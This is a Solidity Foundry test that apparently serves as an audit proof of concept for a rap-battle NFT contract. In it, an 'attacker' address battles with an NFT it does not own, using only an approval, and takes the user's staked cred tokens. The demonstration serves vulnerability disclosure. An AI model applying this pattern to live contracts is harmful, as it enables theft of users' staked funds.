function test_CanBattleWithSomeoneElseNft() public twoSkilledRappers {
uint256 credBet = 3;
uint256 oldUserBalance = cred.balanceOf(user);
console.log("Current user balance: ", oldUserBalance);
uint256 userTokenId = 0;
vm.startPrank(user);
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), credBet);
rapBattle.goOnStageOrBattle(userTokenId, credBet);
vm.stopPrank();
address attacker = makeAddr("attacker");
vm.prank(challenger);
cred.transfer(attacker, credBet);
uint256 oldAttackerBalance = cred.balanceOf(attacker);
uint256 oldChallengerBalance = cred.balanceOf(challenger);
console.log("Current attacker balance: ", oldAttackerBalance);
console.log("Current challenger balance: ", oldChallengerBalance);
uint256 challengerTokenId = 1;
vm.prank(challenger);
oneShot.approve(attacker, challengerTokenId);
vm.startPrank(attacker);
cred.approve(address(rapBattle), credBet);
console.log("** FIGTH **");
rapBattle.goOnStageOrBattle(challengerTokenId, credBet);
vm.stopPrank();
uint256 newUserBalance = cred.balanceOf(user);
uint256 newAttackerBalance = cred.balanceOf(attacker);
uint256 newChallengerBalance = cred.balanceOf(challenger);
console.log("Current user balance: ", newUserBalance);
console.log("Current attacker balance: ", newAttackerBalance);
console.log("Current challenger balance: ", newChallengerBalance);
assert(oldChallengerBalance == newChallengerBalance);
assert(oldUserBalance > newUserBalance);
assert(oldAttackerBalance < newAttackerBalance);
}